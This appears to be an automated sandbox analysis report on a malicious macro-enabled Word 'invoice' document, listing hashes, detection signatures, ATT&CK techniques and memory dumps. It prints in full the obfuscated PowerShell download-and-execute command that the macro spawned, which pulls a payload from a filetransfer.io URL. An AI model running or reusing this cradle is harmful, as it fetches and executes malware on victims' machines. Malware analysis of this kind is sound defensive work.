4737fc1f3a20e9da5ade474a2ea035650429095d2bcdf80440417e55ac5afd32

Analysis

max time kernel
103s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
19/02/2024, 06:13

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General

Target

Device/HarddiskVolume3/Users/User1/Desktop/LetsDefend/f2d0c66b801244c059f636d08a474079/INVOICE PACKAGE LINK TO DOWNLOAD.docm
Size

16KB
MD5

f2d0c66b801244c059f636d08a474079
SHA1

c62129fff128817b5af62aa0051c082f9992112e
SHA256

08d4fd5032b8b24072bdff43932630d4200f68404d7e12ffeeda2364c8158873
SHA512

5283b2c228d6bdfe5d942f0a318ecd7e251e8a78d1451dc825f05e35d5e07a362e04c8777f63761b13bc672e76391cdc11be5e86ae4a260715e3e5a5cd2f305d
SSDEEP

384:/iMIoinwt9VRFPZ1AZy8WNxt/ZtNN6wyMDv6js2ZzoP6Yv:/7u651AQrxllN6wyMOAOUPPv

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://filetransfer.io/data-package/UR2whuBv/download

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3236	3992	powershell.exe	31

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	3236	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3992	WINWORD.EXE
3992	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3236	powershell.exe
3236	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3236	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3992 wrote to memory of 3236	3992	WINWORD.EXE	88
PID 3992 wrote to memory of 3236	3992	WINWORD.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Device\HarddiskVolume3\Users\User1\Desktop\LetsDefend\f2d0c66b801244c059f636d08a474079\INVOICE PACKAGE LINK TO DOWNLOAD.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3992
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://filetransfer.io/data-package/UR2whuBv/download'))))
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_om5jll1l.1to.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3236-32-0x000001E0A32E0000-0x000001E0A3302000-memory.dmp

Filesize
136KB

Download
memory/3236-50-0x00007FFD0FA60000-0x00007FFD10521000-memory.dmp

Filesize
10.8MB

Download
memory/3236-44-0x000001E0A1960000-0x000001E0A1970000-memory.dmp

Filesize
64KB

Download
memory/3236-43-0x000001E0A1960000-0x000001E0A1970000-memory.dmp

Filesize
64KB

Download
memory/3236-42-0x00007FFD0FA60000-0x00007FFD10521000-memory.dmp

Filesize
10.8MB

Download
memory/3992-25-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-7-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-8-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-9-0x00007FFCFBEE0000-0x00007FFCFBEF0000-memory.dmp

Filesize
64KB

Download
memory/3992-10-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-11-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-12-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-13-0x00007FFCFBEE0000-0x00007FFCFBEF0000-memory.dmp

Filesize
64KB

Download
memory/3992-14-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-15-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-16-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-17-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-18-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-20-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-21-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-22-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-0-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-28-0x000001C2AE3B0000-0x000001C2AF380000-memory.dmp

Filesize
15.8MB

Download
memory/3992-29-0x000001C2AE3B0000-0x000001C2AF380000-memory.dmp

Filesize
15.8MB

Download
memory/3992-6-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-5-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-4-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-2-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-3-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-1-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-54-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-58-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-59-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-60-0x000001C2AE3B0000-0x000001C2AF380000-memory.dmp

Filesize
15.8MB

Download
memory/3992-61-0x000001C2AE3B0000-0x000001C2AF380000-memory.dmp

Filesize
15.8MB

Download
memory/3992-82-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-83-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-85-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-87-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-86-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-84-0x00007FFCFE0D0000-0x00007FFCFE0E0000-memory.dmp

Filesize
64KB

Download
memory/3992-88-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download
memory/3992-89-0x00007FFD3E050000-0x00007FFD3E245000-memory.dmp

Filesize
2.0MB

Download